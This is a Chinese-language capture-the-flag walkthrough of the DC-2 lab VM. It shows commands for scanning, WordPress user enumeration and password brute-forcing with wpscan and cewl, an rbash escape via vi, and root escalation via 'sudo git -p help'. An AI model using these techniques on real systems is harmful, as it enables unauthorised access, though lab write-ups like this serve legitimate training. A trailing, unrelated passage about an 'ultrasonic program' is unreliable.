【DC2靶场通关详细记录】

搭建环境

  • kali和DC-2的虚拟机设置为统一的网络连接模式(NAT或桥接)
    image.png
  • 更改hosts文件,官网提示需要更改hosts文件才能访问到网站在这里插入图片描述
    • windows环境下更改hosts文件进入该目录下C:\Windows\System32\drivers\etc,更改hosts文件,在hosts文件中添加192.168.223.130 dc-2
    • kali中直接使用vim编辑hosts文件vim /etc/hosts,输入文件同上内容192.168.223.130 dc-2,保存退出:wq,如果依旧访问不到需要重启网络service networking restart

信息收集

确定目标IP

扫描该网段的所有主机,确定靶场IP,使用下面的命令进行扫描

arp-scan -l

扫描结果显示,靶场IP为:192.168.223.130
image.png

扫描目标端口及服务

扫描靶场IP,确定靶场开放端口,以及端口对应的服务,使用下面的命令进行扫描

nmap -sC -sV -A -p- -oN dc2_nmap2.txt 192.168.223.130

image.png
根据扫描结果显示:

  • 靶机开放了80、7744端口
  • 靶机的80端口上运行了Apache httpd web服务,版本为2.4.10,其操作系统为Debian
  • 靶机的7744端口上运行了ssh服务,版本为6.7p1

指纹识别

使用以下命令进行指纹识别(CMS)

whatweb -v 192.168.223.130

显示使用的建站系统是WordPress[4.7.10]版本的系统。
image.png
image.png

目录爆破

爆破网站的目录,并将结果输出并保存到dc2_dirb.txt文件中。

dirb http://192.168.223.130 -o dc2_dirb.txt

image.png
显示敏感目录/wp-admin
image.png

漏洞数据库查询

通过指纹识别,该网站搭建使用的是WordPress[4.7.10]版本的CMS,在漏洞数据库中查询,未发现相应的漏洞。
在这里插入图片描述

信息收集内容整理

靶场IP192.168.223.130
操作系统linux3.2-4.9
开放端口以及服务80/http、7744/ssh
CMSwordpress4.7.10

查找flag

flag1

  1. 根据信息收集的内容,IP和开放了80端口,提供http服务,则该靶机上应该有一个网站。尝试直接输入IP,进入网站页面,发现进不去,无法访问页面,但重定向到了dc-2。
    在这里插入图片描述

  2. 将dc-2添加进hosts文件,添加内容如下,具体如何添加,看文章最初的搭建环境中的内容

192.168.223.130 dc-2

再次尝试访问,进入网站
在这里插入图片描述

  1. flag1:可以看到页面下有一个flag的标题,尝试点击,点击后显示:
    image.png
  2. flag1提示:

网页中的提示英文的释义:
你通常的单词表可能不起作用,所以,也许你只需要保持清醒。密码越多越好,但有时你就是无法赢得所有的密码。以一个人的身份登录以查看下一个标志。如果找不到,请以另一个用户登录。

flag2

根据flag1的提示,以及信息收集中有一个敏感目录,尝试访问目录,发现了一个登陆页面
在这里插入图片描述

cewl生成密码字典

使用cewl抓取网站页面出现的单词生成密码字典,并保存到pass.txt文件中,使用命令的是:

cewl http://dc-2/ -w pass.txt

image.png

wpscan枚举用户

已有密码字典但没有用户名字典,由信息收集内容得知它是用的wordpress系统建站的,可以使用wpscan工具进行用户枚举。
使用以下命令进行用户名枚举:

wpscan --url http://dr-2/ -e u

image.png
image.png
扫描结果显示有三个用户:admin、jerry、tom。将用户名保存到user文件中。

wpscan爆破登录密码

现在有用户名字典和密码字典,可以使用wpscan进行密码爆破,使用以下命令进行爆破:

wpscan --url http://dc-2/ -U user -P pass.txt

image.png
image.png
最后爆破的结果是:

Username:jerry,Password:adipiscing
Username:tom,Password:parturient

使用其中一组用户名密码尝试登录,在点击页面pages标题后,有flag2显示,再次点击显示如下
在这里插入图片描述

flag2的提示如下

如果你不能利用WordPress并走捷径,还有另一种方法。希望你找到了另一个入口。

flag3

登录ssh服务

根据flag2的提示,以及信息收集内容该靶场开放了两个端口,此时应该选择另一个端口(7744/ssh)尝试。
先使用jerry用户登录,登录不成功,登录命令如下:

ssh jerry@192.168.223.130 -p 7744

image.png
换tom用户登录,登录成功,登录命令如下:

ssh tom@192.168.223.130 -p 7744

image.png

找到flag3

尝试找寻有flag文件,命令如下:

find /home -name “*flag*” 2>/dev/nul

image.png
搜索结果显示:被rbash禁止了
尝试其他命令;

whoami
pwd
ls
cat

尝试ls,显示了flag3,但无法查看
image.png
查找可以使用的命令

echo /home/tom/usr/bin/*

image.png
显示有less、ls等命令
使用less查看flag3.txt文件

less flag3.txt

image.png
flag3的提示:

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
提示使用su命令

flag4

rbash绕过、切换用户身份

使用su命令切换jerry用户,切换不成功,rbash禁止

su jerry

尝试vi的rbash绕过

vi
进入vi后
:set shell=/bin/bash
:shell
export PATH=$PATH:/bin/

提权成功:
然后切换用户
image.png

搜索flag4

find /home -name “*flag*” 2>/dev/null

image.png

cat /home/jerry/flag4.txt

image.png
flag4的提示:

很高兴看到你已经走了这么远——但你还没有到家。你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)这里没有提示——你现在要靠自己了。:-)走吧,离开这里!!!

flag5

获取root权限

为了获取root权限,我们需要找到一个可以提权的漏洞或方法。尝试suid提权 。
看到了sudo,于是我们利用sudo进行提权,继续查看有sudo权限的命令

find / -perm -u=s -type f 2>/dev/null

sudo -l

image.png

sudo git -p help
!/bin/bash

这个命令的作用是利用sudo和git的PAGER环境变量来执行一个shell命令,并获取一个交互式的 root shell。这是一种提权的方法,可以让我们以root身份执行任何命令和功能。
image.png

搜索flag5

得到权限后,ls查看一下有flag5:
image.png

总结

  1. 使用cewl工具抓取网站内容生成密码字典cewl 网址 -w pass.txt
  2. 使用wpscan枚举用户和爆破用户的登陆密码 wpscan --url 网址 -e uwpscan --url 网址 -U 用户名字典 -P 密码字典
  3. rbash绕过的方法:使用vi绕过rbash
vi
进入vi后
:set  shell=/bin/bash
:shell
export PATH=$PATH:/bin/  
  1. sudo提权方法
sudo git -p help
!/bin/bash
  • 23
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
CBM-DC2超声波程序是一种基于超声波技术的测量程序。CBM是嵌入式系统名称,DC2则表示第二代设备。该程序主要应用于测量距离、检测物体的位置、识别物体的形状等方面。 CBM-DC2超声波程序的工作原理是通过超声波发射器发射超声波信号,然后接收器接收到被物体反射后的声波信号。通过计算发射与接收之间的时间差,并结合声速的知识,可以准确地测量出被测物体与传感器之间的距离。这种测量方法具有非接触、快速、准确等优点,因此广泛应用于各个领域。 CBM-DC2超声波程序可以用于测量物体的距离。通过将传感器安装在测量物体附近,即可实时测量物体与传感器之间的距离。比如在机械领域中,可以用来检测机械设备中零件的位置和间距,以及机器人中的障碍物位置,可广泛应用于自动化生产线中。 此外,CBM-DC2超声波程序还可以用于检测物体的位置。通过分析声波信号的强弱或回波的时间差,可以确定物体在空间中的位置。这在自动驾驶领域中具有重要意义,可以用于检测周围车辆、行人或其他障碍物的位置和距离,以保证交通安全。 最后,CBM-DC2超声波程序还能用于识别物体的形状。通过分析声波信号的回波,可以获得物体的轮廓和形状信息。这在制造业中具有广泛的应用,可以用于产品检测、零件测量等,以提高生产效率和质量管理水平。 总之,CBM-DC2超声波程序是一种基于超声波技术的测量程序,可以应用于测量距离、检测物体位置和识别物体形状等多个领域,具有非接触、快速、准确等优点,在各个领域中发挥着重要作用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

榕小树

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值